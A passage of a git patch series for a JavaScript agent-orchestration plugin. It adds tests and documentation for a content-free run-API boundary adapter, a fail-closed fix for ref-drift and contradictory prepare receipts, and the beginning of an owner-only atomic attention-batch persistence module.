assert.equal(errorOf(() => projectRunApiBoundaryV1(validInput({ + identity: { assignment_id: ASSIGNMENT_ID_B }, + }))).code, 'identity_mismatch'); + assert.equal(errorOf(() => projectRunApiBoundaryV1(validInput({ + identity: { provider: 'cursor-local' }, + }))).code, 'identity_mismatch'); +}); + +test('two-lane receipts bind the declared lane and drop nested path-shaped preflight fields', () => { + const result = projectRunApiBoundaryV1(validInput({ + orchestration: validOrchestration({ + lanes: [ + validLane(), + validLane({ + assignment_id: ASSIGNMENT_ID_B, + provider: 'cursor-local', + model: 'composer-1', + identity: LANE_IDENTITY_B, + projected_keys: ['GIT_TERMINAL_PROMPT'], + credential_present: false, + }), + ], + }), + })); + assert.equal(result.status, 'ready'); + assert.equal(result.orchestration.lanes.length, 2); + assert.equal(result.orchestration.lanes[1].assignment_id, ASSIGNMENT_ID_B); + assert.equal(result.orchestration.lanes[1].provider, 'cursor-local'); + const serialized = JSON.stringify(result); + assert.equal(serialized.includes(HOSTILE_PATH), false); + assert.equal(serialized.includes('.git'), false); + assert.equal(serialized.includes('XAI_API_KEY'), false); +}); + +test('deep freeze detaches from later input mutation and repeated calls do not cross-contaminate', () => { + const input = validInput(); + const ready = projectRunApiBoundaryV1(input); + input.audit.status = 'failed'; + input.identity.run_id = 'run-mutated-after'; + input.orchestration.status = 'dispatched'; + assert.equal(ready.status, 'ready'); + assert.equal(ready.audit.status, 'verified'); + assert.equal(ready.run_id, RUN_ID); + assert.throws(() => { + ready.status = 'failed'; + }); + assert.throws(() => { + ready.audit.findings.push({ code: 'moved_ref' }); + }); + const failed = projectRunApiBoundaryV1(validInput({ audit: failedAudit('missing_ref') })); + assert.equal(ready.status, 'ready'); + assert.equal(failed.status, 'failed'); + assert.equal(failed.audit.findings[0].code, 'missing_ref'); + assert.notEqual(JSON.stringify(ready), JSON.stringify(failed)); +}); + +test('concurrent pure projections keep distinct ready and failed results', async () => { + const [ready, failed, denied, unresolved] = await Promise.all([ + Promise.resolve(projectRunApiBoundaryV1(validInput())), + Promise.resolve(projectRunApiBoundaryV1(validInput({ audit: failedAudit('moved_ref') }))), + Promise.resolve(projectRunApiBoundaryV1(validInput({ + orchestration: orchestrationDenial('host_cpu_capacity_exceeded'), + }))), + Promise.resolve(projectRunApiBoundaryV1(validInput({ + lifecycle: unresolvedLifecycle(), + }))), + ]); + assert.equal(ready.status, 'ready'); + assert.equal(failed.status, 'failed'); + assert.equal(denied.status, 'denied'); + assert.equal(unresolved.status, 'unresolved'); + assert.equal(ready.audit.status, 'verified'); + assert.equal(failed.audit.status, 'failed'); +}); From 3b68a498cda21b15c60f8f4ae8d15c61586b4928 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 18:34:21 +0000 Subject: [PATCH 111/151] docs(run): specify the P32 run API boundary Record the values-only adapter, closed paired projection, content-free nonclaims, and non-goals. API, supervisor, release, and Gate A remain later work. --- docs/run-api-boundary.md | 111 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 111 insertions(+) create mode 100644 docs/run-api-boundary.md diff --git a/docs/run-api-boundary.md b/docs/run-api-boundary.md new file mode 100644 index 0000000..0c83374 --- /dev/null +++ b/docs/run-api-boundary.md @@ -0,0 +1,111 @@ +# Run API boundary (P32) + +The P32 run API boundary is one additive v3 adapter, +`plugins/codex-co-engineer/mcp/v3/run-api-boundary.mjs`. It validates and +projects already-produced accepted P30 protected-ref audit receipts and P31 +run-orchestration receipts into a detached, deeply frozen, content-free +`RunApiBoundaryV1` result. + +## Values only + +`projectRunApiBoundaryV1(input)` consumes JSON values. It does not call P30 +audit functions, P31 prepare/dispatch/cancel/restart functions, Git, +filesystem, process, network, provider, credential, handoff, workspace, +reservation, supervisor, server, or release mechanisms. A later API or +release layer may read the projection; this adapter does not expose a +public MCP tool, change the supervisor, execute commands, decide a +release, claim Gate A, or mutate a remote. + +Owned files: + +- `plugins/codex-co-engineer/mcp/v3/run-api-boundary.mjs` +- `plugins/codex-co-engineer/test/r1-run-api-boundary.test.mjs` +- `plugins/codex-co-engineer/test/r1-run-api-boundary-adversarial.test.mjs` +- `plugins/codex-co-engineer/test/fixtures/r1-run-api-boundary-fixtures.mjs` +- this document + +## Closed paired projection + +The request names the adapter schema/version, a credential-free run/base +identity, one P30 receipt, and either one P31 receipt or one P31/P26 +denial object. An optional P31 lifecycle object may accompany a receipt. +Matching `run_id`, `base_sha`, declared `assignment_id`, and declared +provider are bound without broadening either upstream authority. Missing, +mismatched, duplicated, aliased, unknown-key, cyclic, accessor, Proxy, +exotic-prototype, and hostile collection inputs fail closed. + +The result projects only closed status, check, fact, discrepancy, and +lifecycle summaries: + +| Overall status | Meaning | +| --- | --- | +| `ready` | P30 verified and P31 receipt is clean; lifecycle is absent, cleaned, or a live restart | +| `failed` | P30 receipt is failed or carries failing ref-drift findings | +| `denied` | P31/P26 failed-preflight or capacity-denied input | +| `unresolved` | P31 lifecycle is not clean | + +A failed or ref-drift audit remains `failed`. A non-clean lifecycle remains +`unresolved`. The adapter does not upgrade, normalize away, or reinterpret +upstream negative evidence. Nested P30 and P31 statuses stay as supplied. + +## Content-free evidence + +Results and typed errors never echo credential values, environment values, +argv, raw errors, absolute paths, handoff paths, Git/SSH/hosting data, +arbitrary provider text, object inspection output, or caller-controlled +diagnostic prose. Nested P26 repository paths, git directories, lane +handoff identities, and projected key names are accepted as upstream +schema and then dropped. + +The result also carries an all-false adapter side-effect nonclaim map: +`audit_executed`, `orchestration_executed`, `git_invoked`, +`filesystem_invoked`, `process_invoked`, `network_invoked`, +`provider_invoked`, `credentials_accessed`, `env_accessed`, `argv_accessed`, +`handoff_accessed`, `workspace_created`, `reservation_held`, +`remote_mutated`, `supervisor_cutover`, `public_api_exposed`, +`release_decided`, `gate_a_claimed`. + +## Composition + +P32 consumes accepted surfaces and invents none of their semantics: + +| Surface | Owner | Use here | +| --- | --- | --- | +| Live protected-ref audit receipt | P30 `protected-ref-audit.mjs` | schema/version/status/finding/fact/discrepancy vocabulary; functions are not called | +| Run orchestration receipt, denial, lifecycle | P31 `run-orchestration.mjs` | schema/version/status/intent/lane/side-effect/cleanup vocabulary; functions are not called | +| Preflight nested receipt and denial codes | P26 `run-preflight.mjs` | nested ready receipt and fail-closed codes; `validateRunPreflightV1` is not called | +| Protected/default classification | P28 | comparison `ref_class` vocabulary only | +| Credential isolation | P29 | not invoked; credential values never appear | +| API, supervisor/server, release, Gate A | later slices | not invoked | + +P30 remains the live-ref audit seam. P31 remains the dispatch +orchestration seam. This module does not wrap either, does not grant +merge, rebase, push, PR, tag, or protected-ref write authority, and +records remote mutation as denied. + +## Non-goals + +No audit execution. No prepare, dispatch, cancel, restart, or cleanup +execution. No Git, filesystem, process, or network invocation. No +credential, environment, argv, or handoff access. No workspace, +reservation, supervisor/server cutover, public MCP tool, release, or +Gate A authority. + +## API + +- `projectRunApiBoundaryV1(input)` — pure; returns a detached, deeply + frozen result or throws a typed content-free `RunContractV1Error`. +- `describeRunApiBoundaryV1()` — deterministic deep-frozen inventory of + the schema, bounds, checks, error codes, nonclaims, and composed + surfaces. +- `RUN_API_BOUNDARY_SCHEMA_ID`, `RUN_API_BOUNDARY_VERSION`, + `RUN_API_BOUNDARY_STATUSES`, `RUN_API_BOUNDARY_CHECKS`, + `RUN_API_BOUNDARY_ERROR_CODES`, + `RUN_API_BOUNDARY_SIDE_EFFECT_NONCLAIMS`. + +## Testing + +``` +node --no-warnings --test test/r1-run-api-boundary.test.mjs \ + test/r1-run-api-boundary-adversarial.test.mjs +``` From d42ca185791a1f277075bea4855d0d4a82cba16a Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 18:51:48 +0000 Subject: [PATCH 112/151] fix(run): fail closed on P30 comparison drift and contradictory P31 prepare receipts Keep verified P30 receipts with moved_ref, missing_ref, symbolic_ref, or aliased_ref comparisons failed/non-ready. Reject prepared P31 receipts and attached lifecycles that claim task_dispatched or provider_process_started. Hostile regressions pin both closures. --- docs/run-api-boundary.md | 8 +- .../mcp/v3/run-api-boundary.mjs | 38 +++++++++- .../fixtures/r1-run-api-boundary-fixtures.mjs | 21 ++++++ .../r1-run-api-boundary-adversarial.test.mjs | 73 +++++++++++++++++++ .../test/r1-run-api-boundary.test.mjs | 22 ++++++ 5 files changed, 159 insertions(+), 3 deletions(-) diff --git a/docs/run-api-boundary.md b/docs/run-api-boundary.md index 0c83374..8070f63 100644 --- a/docs/run-api-boundary.md +++ b/docs/run-api-boundary.md @@ -40,11 +40,15 @@ lifecycle summaries: | Overall status | Meaning | | --- | --- | | `ready` | P30 verified and P31 receipt is clean; lifecycle is absent, cleaned, or a live restart | -| `failed` | P30 receipt is failed or carries failing ref-drift findings | +| `failed` | P30 receipt is failed, carries failing ref-drift findings, or records a `moved_ref`, `missing_ref`, `symbolic_ref`, or `aliased_ref` comparison | | `denied` | P31/P26 failed-preflight or capacity-denied input | | `unresolved` | P31 lifecycle is not clean | -A failed or ref-drift audit remains `failed`. A non-clean lifecycle remains +A failed or ref-drift audit remains `failed`, including a verified P30 +receipt whose comparisons still record `moved_ref`, `missing_ref`, +`symbolic_ref`, or `aliased_ref`. A prepared P31 receipt, or a lifecycle +attached to one, that claims `task_dispatched` or +`provider_process_started` fails closed. A non-clean lifecycle remains `unresolved`. The adapter does not upgrade, normalize away, or reinterpret upstream negative evidence. Nested P30 and P31 statuses stay as supplied. diff --git a/plugins/codex-co-engineer/mcp/v3/run-api-boundary.mjs b/plugins/codex-co-engineer/mcp/v3/run-api-boundary.mjs index 36bedb5..e2551c9 100644 --- a/plugins/codex-co-engineer/mcp/v3/run-api-boundary.mjs +++ b/plugins/codex-co-engineer/mcp/v3/run-api-boundary.mjs @@ -235,6 +235,12 @@ export const PREFLIGHT_CAPACITY_SOURCES = capturedFreeze(['ambient', 'injected'] export const COMPARISON_OUTCOMES = capturedFreeze([ 'aliased_ref', 'match', 'missing_ref', 'moved_ref', 'symbolic_ref', ]); +const FAILING_COMPARISON_OUTCOMES = capturedFreeze([ + 'aliased_ref', 'missing_ref', 'moved_ref', 'symbolic_ref', +]); +const PREPARE_FORBIDDEN_SIDE_EFFECTS = capturedFreeze([ + 'provider_process_started', 'task_dispatched', +]); export const RESULT_KEYS = capturedFreeze([ 'assignment_id', 'audit', 'base_sha', 'checks', 'invariants', 'lifecycle', 'orchestration', 'provider', 'run_id', 'schema', 'side_effects', 'status', @@ -970,6 +976,7 @@ function parseOrchestrationReceipt(input, identity) { RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS, pathLabel, ); + assertPrepareSideEffects(status, intent, sideEffects, pathLabel); parseChecks(ownDataValue(input, 'checks', pathLabel), RUN_ORCHESTRATION_CHECKS, pathLabel); return { kind: 'receipt', @@ -1037,7 +1044,7 @@ function parseLifecycle(input) { if (hasOwn(input, 'missing')) values.missing = ownBoolean(input, 'missing', pathLabel); if (hasOwn(input, 'restarted')) values.restarted = ownBoolean(input, 'restarted', pathLabel); if (hasOwn(input, 'side_effects')) { - parseBooleanMap( + values.side_effects = parseBooleanMap( ownDataValue(input, 'side_effects', pathLabel), RUN_ORCHESTRATION_SIDE_EFFECTS, RUN_ORCHESTRATION_ALWAYS_FALSE_SIDE_EFFECTS, @@ -1047,8 +1054,36 @@ function parseLifecycle(input) { return freezeRecord(LIFECYCLE_ALLOWED_KEYS, values); } +function claimsPrepareForbiddenSideEffects(sideEffects) { + if (sideEffects == null) return false; + for (let i = 0; i < PREPARE_FORBIDDEN_SIDE_EFFECTS.length; i += 1) { + if (sideEffects[PREPARE_FORBIDDEN_SIDE_EFFECTS[i]] === true) return true; + } + return false; +} + +function isPreparedReceipt(orchestration) { + return orchestration.kind === 'receipt' + && (orchestration.status === 'prepared' || orchestration.intent === 'prepare'); +} + +function assertPrepareSideEffects(status, intent, sideEffects, pathLabel) { + if (status !== 'prepared' && intent !== 'prepare') return; + if (claimsPrepareForbiddenSideEffects(sideEffects)) deny('invalid_format', pathLabel); +} + +function assertLifecycleSideEffectConsistency(orchestration, lifecycle) { + if (!isPreparedReceipt(orchestration)) return; + if (lifecycle != null && claimsPrepareForbiddenSideEffects(lifecycle.side_effects)) { + deny('invalid_format', 'lifecycle'); + } +} + function auditIsNegative(audit) { if (audit.status === 'failed') return true; + for (let i = 0; i < audit.comparisons.length; i += 1) { + if (capturedIncludes(FAILING_COMPARISON_OUTCOMES, audit.comparisons[i].outcome)) return true; + } for (let i = 0; i < audit.findings.length; i += 1) { if (capturedIncludes(PROTECTED_REF_AUDIT_FAILING_CODES, audit.findings[i].code)) return true; } @@ -1194,6 +1229,7 @@ export function projectRunApiBoundaryV1(input) { const orchestration = parseOrchestration(ownDataValue(input, 'orchestration', pathLabel), identity); const lifecycle = parseLifecycle(optOwn(input, 'lifecycle')); bindLaneProvider(identity, orchestration, audit.assignment_id); + assertLifecycleSideEffectConsistency(orchestration, lifecycle); const status = deriveStatus(audit, orchestration, lifecycle); const resultValues = { schema: RUN_API_BOUNDARY_SCHEMA_ID, diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-api-boundary-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-api-boundary-fixtures.mjs index 12a5ba9..4f3c611 100644 --- a/plugins/codex-co-engineer/test/fixtures/r1-run-api-boundary-fixtures.mjs +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-api-boundary-fixtures.mjs @@ -203,6 +203,27 @@ export function validAudit(overrides = {}) { return receipt; } +export function verifiedDriftAudit(outcome = 'moved_ref', overrides = {}) { + const storage = outcome === 'missing_ref' + ? 'absent' + : outcome === 'symbolic_ref' + ? 'symbolic' + : 'loose'; + return validAudit({ + comparisons: [validComparison({ outcome, storage })], + observation: { + command_count: 2, + compared_count: 1, + duration_ms: 1, + loose_count: storage === 'loose' ? 1 : 0, + missing_count: storage === 'absent' ? 1 : 0, + packed_count: 0, + symbolic_count: storage === 'symbolic' ? 1 : 0, + }, + ...overrides, + }); +} + export function failedAudit(code = 'moved_ref', overrides = {}) { const finding = validFinding({ code, ...(code === 'missing_ref' ? { storage: 'absent' } : {}) }); return validAudit({ diff --git a/plugins/codex-co-engineer/test/r1-run-api-boundary-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-run-api-boundary-adversarial.test.mjs index 4317835..3e6dbcf 100644 --- a/plugins/codex-co-engineer/test/r1-run-api-boundary-adversarial.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-api-boundary-adversarial.test.mjs @@ -32,11 +32,14 @@ import { countingProxy, failedAudit, orchestrationDenial, + orchestrationSideEffects, trapTotal, validAudit, validComparison, validInput, + validLifecycle, validOrchestration, + verifiedDriftAudit, } from './fixtures/r1-run-api-boundary-fixtures.mjs'; const ADAPTER_SOURCE = readFileSync( @@ -319,6 +322,76 @@ test('adapter source and dynamic projection never invoke I/O credential or lifec } }); +test('verified comparison drift cannot be upgraded to ready by a clean P31 receipt', () => { + for (const outcome of ['moved_ref', 'missing_ref', 'symbolic_ref', 'aliased_ref']) { + const result = projectRunApiBoundaryV1(validInput({ audit: verifiedDriftAudit(outcome) })); + assert.equal(result.status, 'failed', outcome); + assert.equal(result.audit.status, 'verified', outcome); + assert.equal(result.audit.comparisons[0].outcome, outcome, outcome); + assert.equal(result.orchestration.status, 'prepared', outcome); + assert.equal(result.orchestration.side_effects.task_dispatched, false, outcome); + assertContentFree(result); + } + + const mixed = projectRunApiBoundaryV1(validInput({ + audit: verifiedDriftAudit('moved_ref', { + comparisons: [validComparison(), validComparison({ outcome: 'moved_ref' })], + observation: { + command_count: 2, + compared_count: 2, + duration_ms: 1, + loose_count: 2, + missing_count: 0, + packed_count: 0, + symbolic_count: 0, + }, + }), + })); + assert.equal(mixed.status, 'failed'); + assert.equal(mixed.audit.status, 'verified'); + assert.equal(mixed.audit.comparisons[0].outcome, 'match'); + assert.equal(mixed.audit.comparisons[1].outcome, 'moved_ref'); +}); + +test('prepared receipts claiming dispatch side effects fail closed', () => { + for (const flag of ['task_dispatched', 'provider_process_started']) { + const error = assertRejected(() => projectRunApiBoundaryV1(validInput({ + orchestration: validOrchestration({ + side_effects: orchestrationSideEffects({ + credentials_projected: true, + [flag]: true, + }), + }), + }))); + assert.equal(error.code, 'invalid_format', flag); + } + + const both = assertRejected(() => projectRunApiBoundaryV1(validInput({ + orchestration: validOrchestration({ + side_effects: orchestrationSideEffects({ + credentials_projected: true, + task_dispatched: true, + provider_process_started: true, + }), + }), + }))); + assert.equal(both.code, 'invalid_format'); + + const lifecycle = assertRejected(() => projectRunApiBoundaryV1(validInput({ + lifecycle: validLifecycle({ + side_effects: orchestrationSideEffects({ task_dispatched: true }), + }), + }))); + assert.equal(lifecycle.code, 'invalid_format'); + + const processLifecycle = assertRejected(() => projectRunApiBoundaryV1(validInput({ + lifecycle: validLifecycle({ + side_effects: orchestrationSideEffects({ provider_process_started: true }), + }), + }))); + assert.equal(processLifecycle.code, 'invalid_format'); +}); + test('nested hostile credential env argv and handoff-shaped fields are not projected', () => { const input = validInput(); input.orchestration.preflight.repository.path = HOSTILE_PATH; diff --git a/plugins/codex-co-engineer/test/r1-run-api-boundary.test.mjs b/plugins/codex-co-engineer/test/r1-run-api-boundary.test.mjs index 6720118..61e5087 100644 --- a/plugins/codex-co-engineer/test/r1-run-api-boundary.test.mjs +++ b/plugins/codex-co-engineer/test/r1-run-api-boundary.test.mjs @@ -42,6 +42,7 @@ import { validLane, validLifecycle, validOrchestration, + verifiedDriftAudit, } from './fixtures/r1-run-api-boundary-fixtures.mjs'; function errorOf(action) { @@ -172,6 +173,27 @@ test('P30 moved missing and hostile-ref receipts remain failed without side effe } }); +test('verified P30 comparison drift remains failed and is not upgraded to ready', () => { + for (const outcome of ['moved_ref', 'missing_ref', 'symbolic_ref', 'aliased_ref']) { + const result = projectRunApiBoundaryV1(validInput({ + audit: verifiedDriftAudit(outcome), + orchestration: dispatchedOrchestration(), + lifecycle: validLifecycle(), + })); + assert.equal(result.status, 'failed', outcome); + assert.equal(result.audit.status, 'verified', outcome); + assert.equal(result.audit.comparisons[0].outcome, outcome, outcome); + assert.equal(result.audit.findings.length, 0, outcome); + assert.equal(result.audit.observed_classes.length, 0, outcome); + assert.equal(result.audit.facts[0].status, 'verified', outcome); + assert.equal(result.audit.discrepancies.length, 0, outcome); + assert.equal(result.orchestration.status, 'dispatched', outcome); + assert.equal(result.lifecycle.cleaned, true, outcome); + assertAdapterNonclaims(result); + assertContentFree(result); + } +}); + test('P31 failed-preflight and capacity-denied inputs remain denied', () => { const preflight = projectRunApiBoundaryV1(validInput({ orchestration: orchestrationDenial('repository_not_canonical'), From 4581d6c41004a2fdb9285f184b6c45c49460f6c2 Mon Sep 17 00:00:00 2001 From: Cole Lyons Date: Tue, 25 Aug 2026 20:07:48 +0000 Subject: [PATCH 113/151] feat(attention): persist owner-only AttentionBatchV1 records Latch one immutable question set at a P25 revision/head/cursor boundary in a separate owner-only root, never under or inside P25. Persist exactly one reply round with expected_revision CAS, same-directory fsync publication, unsupported DSH/Cloud unresolved cancellation of only the affected lane, and required-unresolved blocking of a complete candidate. --- .../mcp/v3/attention-batch.mjs | 1779 +++++++++++++++++ 1 file changed, 1779 insertions(+) create mode 100644 plugins/codex-co-engineer/mcp/v3/attention-batch.mjs diff --git a/plugins/codex-co-engineer/mcp/v3/attention-batch.mjs b/plugins/codex-co-engineer/mcp/v3/attention-batch.mjs new file mode 100644 index 0000000..d448c24 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/attention-batch.mjs @@ -0,0 +1,1779 @@ +// Atomic AttentionBatchV1 persistence (P34; ADR 0001 identifiers +// `attention_batch_v1`, `exact_identities`, `bounded_evidence`, +// `no_post_dispatch_fallback_or_replay`; Gate A +// `gate_a_decision_or_attention_no_silent_unanswerable`). +// +// Additive v3 module. It owns one immutable latched question set per run +// inside a caller-supplied existing private attention root, never under or +// inside accepted P25. The durable file is +// /runs//attention-batch.v1.json +// with 0700 directories, 0600 files, no-follow identity checks, +// same-directory temporary + file fsync + atomic rename + directory fsync, +// and expected_revision CAS. +// +// One reply round is durable before any injected mailbox delivery. Restart +// retries only exact latched identities. Unsupported DSH / Cursor Cloud +// items become unresolved and cancel only the affected lane. Required +// unresolved evidence blocks a complete candidate. Routine progress never +// wakes. This module does not append P25 events, encode questions in +// child_progress.note, invoke a scheduler or provider, compose a candidate, +// expose a server/tool, implement cleanup, or claim Gate A / release. + +import { Buffer as NodeBuffer } from 'node:buffer'; +import { createHash, randomBytes, timingSafeEqual } from 'node:crypto'; +import { constants as fsConstants } from 'node:fs'; +import { link, mkdir, open, opendir, rename, unlink } from 'node:fs/promises'; +import path from 'node:path'; + +import { + capturedCreate, + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedJoin, + capturedTest, + capturedUtf8ByteLength, + isKnownProvider, + knownProvidersJoined, + sortedCapturedKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + ASSIGNMENT_ID_PATTERN, + RunContractV1Error, + assertRunId, + isAssignmentId, + utf8ByteLength, +} from './run-manifest.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + assertNotProxy, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; +import { closedObject, snapshotRecord } from './protected-identity.mjs'; + +export const ATTENTION_BATCH_SCHEMA_ID = 'codex-co-engineer.attention-batch.v1'; +export const ATTENTION_BATCH_VERSION = 1; +export const ATTENTION_BATCH_RECEIPT_SCHEMA_ID = + 'codex-co-engineer.attention-batch-receipt.v1'; +export const ATTENTION_BATCH_HASH_DOMAIN = 'codex-co-engineer.attention-batch-hash.v1'; +export const ATTENTION_BATCH_FILE_NAME = 'attention-batch.v1.json'; +export const RUN_JOURNAL_GENESIS_PREV = 'codex-co-engineer.run-journal.genesis.v1'; + +export const ATTENTION_BATCH_RECORD_KEYS = capturedFreeze([ + 'schema', 'version', 'run_id', 'batch_id', 'revision', 'status', + 'source', 'items', 'reply', 'unresolved', +]); +export const ATTENTION_BATCH_STATUSES = capturedFreeze([ + 'open', 'reply_committed', 'resolved', +]); +export const ATTENTION_BATCH_SOURCE_KEYS = capturedFreeze([ + 'journal_revision', 'journal_head_hash', 'task_cursors', +]); +export const ATTENTION_BATCH_TASK_CURSOR_KEYS = capturedFreeze([ + 'assignment_id', 'task_id', 'event_cursor', +]); +export const ATTENTION_BATCH_ITEM_KEYS = capturedFreeze([ + 'assignment_id', 'task_id', 'provider', 'required', 'session_id', + 'question_id', 'event_cursor', 'question_digest', 'prompt', 'options', + 'reply_capability', 'disposition', 'deadline_at', +]); +export const ATTENTION_BATCH_PROVIDERS = capturedFreeze([ + 'grok', 'cursor-local', 'cursor-cloud', 'dsh', +]); +export const ATTENTION_BATCH_REPLY_CAPABILITIES = capturedFreeze([ + 'same_session', 'unsupported', +]); +export const ATTENTION_BATCH_DISPOSITIONS = capturedFreeze([ + 'pending', 'answered', 'unresolved', +]); +export const ATTENTION_BATCH_UNRESOLVED_CODES = capturedFreeze([ + 'same_session_reply_unsupported', + 'late_attention_after_latch', + 'reply_delivery_failed', + 'reply_deadline_expired', + 'safe_cancel_unconfirmed', +]); +export const ATTENTION_BATCH_REPLY_KEYS = capturedFreeze([ + 'answers', 'batch_id', 'round', +]); +export const ATTENTION_BATCH_ANSWER_KEYS = capturedFreeze([ + 'assignment_id', 'question_id', 'response', 'session_id', 'task_id', +]); +export const ATTENTION_BATCH_UNRESOLVED_KEYS = capturedFreeze([ + 'assignment_id', 'code', 'question_id', 'required', 'session_id', 'task_id', +]); + +export const MIN_ATTENTION_ITEMS = 1; +export const MAX_ATTENTION_ITEMS = 8; +export const MAX_ATTENTION_OPTIONS = 8; +export const MAX_ATTENTION_PROMPT_BYTES = 4096; +export const MAX_ATTENTION_OPTION_BYTES = 128; +export const MAX_ATTENTION_RESPONSE_BYTES = 16_384; +export const ATTENTION_REPLY_ROUND = 1; +export const MAX_ATTENTION_BATCH_RECORD_BYTES = 131_072; +export const MAX_ATTENTION_BATCH_DIAGNOSTIC_BYTES = 160; +export const MAX_ATTENTION_RUN_DIRECTORIES = 256; +export const MAX_ATTENTION_DIRECTORY_ENTRIES = 16; +export const MAX_ATTENTION_ROOT_ENTRIES = 8; +export const MAX_ATTENTION_BATCH_TEMPORARIES = 8; +export const MAX_ATTENTION_FILENAME_BYTES = 80; + +export const ATTENTION_BATCH_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', + 'attention_batch_foreign_entry', + 'attention_batch_identity_mismatch', + 'attention_batch_io_failed', + 'attention_batch_not_found', + 'attention_batch_not_regular', + 'attention_batch_path_unsafe', + 'attention_batch_publish_unverified', + 'attention_batch_record_too_large', + 'attention_batch_reply_conflict', + 'attention_batch_revision_conflict', + 'attention_batch_root_missing', + 'attention_batch_root_shared', + 'attention_batch_root_unsafe', + 'attention_batch_too_many_entries', + 'capability_reply_mismatch', + 'duplicate_assignment_id', + 'exotic_prototype_denied', + 'invalid_format', + 'invalid_type', + 'missing_key', + 'own_undefined_denied', + 'out_of_range', + 'proxy_denied', + 'symbol_key_denied', + 'unknown_key', +]); + +const RUNS_NAME = 'runs'; +const RECORD_NAME = ATTENTION_BATCH_FILE_NAME; +const P25_FOREIGN_NAMES = capturedFreeze([ + 'created.json', 'journal.jsonl', 'lock', 'state.json', +]); +const TEMP_NAME_PATTERN = /^\.tmp-[0-9a-f]{32}$/u; +const TASK_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]{0,79}$/u; +const SESSION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +const QUESTION_ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +const EVENT_CURSOR_PATTERN = /^[0-9]{1,16}$/u; +const BATCH_ID_PATTERN = /^att-[0-9a-f]{32}$/u; +const DEADLINE_PATTERN = /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}(?:\.\d{3})?Z$/u; +const HASH_ALGORITHM = 'sha256'; +const TEXT_DECODER = new TextDecoder('utf-8', { fatal: true }); +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const CREATE_HASH = createHash; +const RANDOM_BYTES = randomBytes; +const TIMING_SAFE_EQUAL = timingSafeEqual; +const JSON_PARSE = JSON.parse; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; +const STRING = String; +const ARRAY_FROM = Array.from; +const ROOT_CHAINS = new Map(); + +const ROOT_OPEN_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_DIRECTORY ?? 0) + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_READ_FLAGS = fsConstants.O_RDONLY + | (fsConstants.O_NOFOLLOW ?? 0) + | (fsConstants.O_NONBLOCK ?? 0); +const FILE_CREATE_FLAGS = fsConstants.O_WRONLY + | fsConstants.O_CREAT + | fsConstants.O_EXCL + | (fsConstants.O_NOFOLLOW ?? 0); + +const LATCH_ALLOWED_KEYS = capturedFreeze([ + 'cancel', 'expected_revision', 'items', 'now', 'run_id', 'source', +]); +const LATCH_REQUIRED_KEYS = capturedFreeze([ + 'expected_revision', 'items', 'run_id', 'source', +]); +const REPLY_ALLOWED_KEYS = capturedFreeze([ + 'batch_id', 'cancel', 'deliver', 'expected_revision', 'now', 'reply', 'run_id', +]); +const REPLY_REQUIRED_KEYS = capturedFreeze([ + 'batch_id', 'expected_revision', 'reply', 'run_id', +]); +const FUNCTION_KEYS = capturedFreeze(['cancel', 'deliver']); + +function diagnostic(value) { + const text = STRING(value ?? ''); + return text.length <= MAX_ATTENTION_BATCH_DIAGNOSTIC_BYTES + ? text + : text.slice(0, MAX_ATTENTION_BATCH_DIAGNOSTIC_BYTES); +} + +function failBatch(code, field, message) { + fail(code, field, diagnostic(message)); +} + +function mapErrno(error, field, code, message) { + if (error instanceof RunContractV1Error) throw error; + const errno = error?.code; + if (errno === 'ENOENT') { + failBatch('attention_batch_root_missing', field, 'The attention path does not exist.'); + } + if (errno === 'ELOOP' || errno === 'ENOTDIR') { + failBatch('attention_batch_root_unsafe', field, + 'The attention path is not a real directory entry.'); + } + if (errno === 'EEXIST') failBatch(code, field, message); + failBatch(code, field, message); +} + +function assertSafeRootPath(value) { + if (typeof value !== 'string' || value.length === 0) { + failBatch('attention_batch_root_unsafe', 'root', + 'Attention root must be an absolute directory path.'); + } + if (!path.isAbsolute(value) || value.includes('\0') || value.includes('\\')) { + failBatch('attention_batch_path_unsafe', 'root', + 'Attention root must be an absolute, NUL-free path.'); + } + if (value !== '/' && value.endsWith('/')) { + failBatch('attention_batch_path_unsafe', 'root', + 'Attention root must not end with a trailing slash.'); + } + if (path.normalize(value) !== value) { + failBatch('attention_batch_path_unsafe', 'root', + 'Attention root must be a normalized absolute path.'); + } + for (const part of value.split('/')) { + if (part === '.' || part === '..') { + failBatch('attention_batch_path_unsafe', 'root', + 'Attention root must not contain "." or ".." segments.'); + } + } + return value; +} + +function assertSafeChildName(name, field) { + if (typeof name !== 'string' || name.length === 0 || name === '.' || name === '..') { + failBatch('attention_batch_foreign_entry', field, + 'Attention directory entry is not an allowed name.'); + } + if (name.includes('/') || name.includes('\\') || name.includes('\0') + || path.basename(name) !== name) { + failBatch('attention_batch_path_unsafe', field, + 'Attention names must be single path components.'); + } + if (utf8ByteLength(name) > MAX_ATTENTION_FILENAME_BYTES) { + failBatch('attention_batch_foreign_entry', field, + 'Attention filename exceeds the bounded length.'); + } + return name; +} + +function childPath(rootPath, name) { + const safe = assertSafeChildName(name, 'name'); + const joined = path.join(rootPath, safe); + if (path.dirname(joined) !== rootPath || path.basename(joined) !== 